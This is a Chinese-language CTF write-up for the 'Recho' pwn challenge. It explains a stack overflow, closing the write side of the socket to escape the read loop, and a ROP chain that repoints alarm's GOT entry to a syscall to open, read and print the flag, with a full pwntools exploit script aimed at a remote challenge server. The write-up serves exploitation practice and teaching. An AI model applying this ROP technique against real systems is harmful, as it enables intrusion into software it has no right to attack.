攻防世界pwn题:Recho
0x00:查看文件信息

一个64位二进制文件,canary和PIE保护机制没开。
0x01:用IDA进行静态分析
分析:主程序部分是一个while循环,判断条件是read返回值大于0则循环。函数atoi()是将一个字符串转换成整型数据,看栗子:
这样子v7可以由我们所决定,所以很明显第15行存在栈溢出。
个人想法:
看到程序有一堆输入输出函数,我首先想到的是ret2libc3。在尝试的过程中发现无论如何都跳不出while循环,使用io=send('')不可以。思考无果,上网找WP。在海师傅的文章中,了解到可以用shutdown函数进行操作。而且海师傅是以另外的思路进行泄露的,下面我就借鉴海师傅的思路进行描述。
0x02:深入分析
首先说一下结束循环的方法:
使用io.shutdown('write')进行关闭(为啥是write呢?)
测试一下:
read不可以,send可以???,recv不可以。在测试sendline时,报错看到了重要信息:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"。所以说明只能用这六个参数。然后继续测试,in不可以,out可以)。
这样子的话,这样总结为不要以程序为对象。而是看参数的函数操纵数据的流向。write、send、out可以,说明由内向外是可以的,反则反方向不可以。(很抱歉,由于资料缺乏。难以从本质上了解。目前先这么考虑着)
另外,因为关闭后就不能打开了,除非重新运行程序,所以我们就不能再次ROP到主函数获取输入了。这样很明显就不能用ret2libc3泄露了,虽然你可以第一次泄露出远程libc的版本。但由于机器一般都开有aslr保护机制,这样子libc加载的位置就会在重新执行后发生了改变了。
所以,我们必须要一次性完成所有操作,也就是get_shell或者cat_flag。
可以构造这样的代码来get flag:
1、int fd = open("flag",READONLY) (注:READONLY=0)
2、read(fd,buf,100)
3、printf(buf)
1、int fd = open("flag",READONLY)

程序中已经导入了write、printf、alarm、read函数,还缺个open函数。open和这些已导入的函数都是通过系统调用进行调用的,所以libc中应该有系统调用的相关指令,然后改变rax寄存器,使系统调用号变为open的就可以了。
先了解一下32位和64位下的汇编指令的系统调用:
- 32位:
- 传参方式:首先将系统调用号传入eax,然后将参数从左到右依次存入ebx、ecx、edx寄存器中,返回值存在eax寄存器中。
- 调用号:sys_read为3,sys_write为4
- 调用方式:使用int 80h中断进行系统调用
- 64位:
- 传参方式:首先将系统调用号传入rax,然后将参数从左到右依次存入rdi、rsi、rdx寄存器中,返回值存在rax寄存器中。
- 调用号:sys_read为0,sys_write为1,sys_open为2
- 调用方式:使用syscall指令进行系统调用
随便打开个libc,查看alarm函数:
系统调用指令syscall在alarm起始位置偏移5的位置。可以对alarm.got的值加5,这需要对libc的函数地址运行一次后加载到got表上后进行操作。这里有个gadget可以达到该目的:
分别对这两行右键,进行undefine。然后对第一行右键,进行code。就可以得到如下gadget:
指令 add [rdi],al ,我们可以先让rdi = got['alarm'],然后使al = 5,这样执行完该指令后,alarm对应的got表的值就指向了syscall指令。
其它相关的指令:
想要看机器码的,可以在options->general进行设置:
在改了alarm.got为syscall后,在跳转到syscall开始系统调用之前,还需要做好与open函数相关的准备。有rax=2、rdi=&"flag"、rsi = 0。
pop rax前面已经找出来了,至于字符串"flag"的话,在程序中是有的。但在ida中用shift+f12是看不到的,可能是因为"flag"在数据段,但是shift+f12没有查找数据段的。我们可以在linux终端用strings ./Recho命令查看,或者用ida的菜单栏中的查找文本功能。
字符串"flag":
pop rsi指令在__libc_csu_init处有,不过没那么"纯",倒也不影响:
- 这一段的payload:
- payload = b'A'*0x38
- payload += p64(pop_rdi) + p64(alarm_got)
- payload += p64(pop_rax) + p64(0x05)
- payload += p64(rdi_add)
- payload += p64(pop_rsi_r15) + p64(0) + p64(0)
- payload += p64(pop_rdi) + p64(flag)
- payload += p64(pop_rax) + p64(2)
- payload += p64(alarm_plt)
2、read(fd,buf,100)
文件描述符0、1、2程序已经默认分配了,前面用open函数打开文件的文件描述符应该是3(不行的话可以试试4、5、6……)。buf的话,海师傅用的是.bss节上的stdin_buffer:(.bss上有的可以,有的不行)
- 这样子,这一部分的payload为:
- payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
- payload += p64(pop_rdi) + p64(3)
- payload += p64(pop_rdx) + p64(100)
- payload += p64(read_plt)
3、printf(buf)
用printf函数把第二部分存入stdin_buffer的flag打印出来。
其payload为:
- payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
整体EXP:
- from pwn import *
- import time
- context(os='linux', arch='amd64', log_level='debug')
- #io = process("./Recho")
- io = remote("111.200.241.244",59230)
- elf = ELF("./Recho")
- pop_rax = 0x4006FC
- pop_rdx = 0x4006FE
- pop_rsi_r15 = 0x4008A1
- pop_rdi = 0x4008A3
- rdi_add = 0x40070D
- flag = 0x601058
- stdin_buffer = 0x601070
- alarm_got = elf.got['alarm']
- alarm_plt = elf.plt['alarm']
- read_plt = elf.plt['read']
- printf_plt = elf.plt['printf']
- io.recvuntil("Welcome to Recho server!\n")
- io.sendline("400")
- payload = b'A'*0x38
- payload += p64(pop_rdi) + p64(alarm_got)
- payload += p64(pop_rax) + p64(0x05)
- payload += p64(rdi_add)
- payload += p64(pop_rsi_r15) + p64(0) + p64(0)
- payload += p64(pop_rdi) + p64(flag)
- payload += p64(pop_rax) + p64(2)
- payload += p64(alarm_plt)
- payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
- payload += p64(pop_rdi) + p64(3)
- payload += p64(pop_rdx) + p64(100)
- payload += p64(read_plt)
- payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
- payload = payload.ljust(400,b'\x00')
- io.sendline(payload)
- io.shutdown('write')
- sleep(1)
- io.interactive()
0x03:个人感触
累~
这题要在程序里面不断翻找合适的gadget去一步步构造自己想要的执行流,还是得多看看汇编,深入理解程序执行过程中汇编指令的协助。二进制的道路,任重而道远~
tolele
2022-07-02
攻防世界pwn题:Recho的更多相关文章
- 攻防世界pwn题:forgot
0x00:查看文件信息 该文件是32位的,canary和PIE保护机制没开. 0x01:用IDA进行静态分析 总览: 该函数就是:v5初值为1,对v2输入一串字符.然后执行一个会根据输入的字符串而修改 ...
- 攻防世界pwn题:实时数据检测
0x00:查看文件 一个32位的文件,canary.NX.PIE保护机制均关闭. 0x01:用IDA进行静态分析 程序很简单,输入一串字符(个数限制:512),然后再输出.最后根据key变量进行条件语 ...
- 攻防世界PWN简单题 level0
攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...
- 攻防世界PWN简单题 level2
攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界pwn高手区——pwn1
攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...
- 攻防世界 robots题
来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...
随机推荐
- React + TypeScript + Taro前端开发小结
前言 项目到一段落,先来记录一下,本文以前端新手的角度记录React.TypeScript.Taro相关技术的开发体验以及遇到的问题和解决方法. 之前总说要学React(这篇博客:代码使我头疼之Rea ...
- 2. flddler响应显示乱码问题解决方案
Fiddler是一款强大Web调试工具,它能记录所有客户端和服务器的HTTP请求. Fiddler启动的时候,默认IE的代理设为了127.0.0.1:8888,而其他浏览器是需要手动设置.但是一开始使 ...
- TCP 协议灵魂 12 问,巩固你的网路底层基础!
点击上方"开源Linux",选择"设为星标" 回复"学习"获取独家整理的学习资料! 先亮出这篇文章的思维导图 TCP 作为传输层的协议,是一 ...
- 详解Kubernetes存储体系
Volume.PV.PVC.StorageClass由来 先思考一个问题,为什么会引入Volume这样一个概念? " 答案很简单,为了实现数据持久化,数据的生命周期不随着容器的消亡而消亡. ...
- 【面试普通人VS高手系列】说一说Mybatis里面的缓存机制
一个工作了 5年的程序员,在私信里面不断向我诉苦. 他说,他用了Mybatis这么久,怎么滴也算是精通Mybatis了吧. 结果竟然在Mybatis这个面试题上翻车了! 真的好烦! 好吧,我们今天来看 ...
- 斯坦福NLP课程 | 第11讲 - NLP中的卷积神经网络
作者:韩信子@ShowMeAI,路遥@ShowMeAI,奇异果@ShowMeAI 教程地址:http://www.showmeai.tech/tutorials/36 本文地址:http://www. ...
- 镜头随人物而动,视频编辑服务让用户稳站C位
现如今,视频是用户记录生活最热门的方式,各种App在发布视频界面都提供了视频简单剪辑的功能.除了增加音乐.滤镜.贴纸这些基础功能以外,用户越来越追求镜头感,这往往需要通过专业的视频剪辑软件手动打上关键 ...
- 867. Transpose Matrix - LeetCode
Question 867. Transpose Matrix Solution 题目大意:矩阵的转置 思路:定义一个转置后的二维数组,遍历原数组,在赋值时行号列号互换即可 Java实现: public ...
- Linux磁盘空间查看及空间满的处理
问题 在部署应用到测试环境的时候,有些文件同步出错,最后定位到测试服务器空间满了. 解决 查看磁盘空间还剩多少空间 df -h 查看根目录下每个目录占用空间大小 du --max-depth=1 -h ...
- linux篇-linux iptables配置
1 iptables默认系统自带 setup 2重启防火墙 /etc/init.d/iptables restart 3接受端口 Vi /etc/sysconfig/iptables -A INPUT ...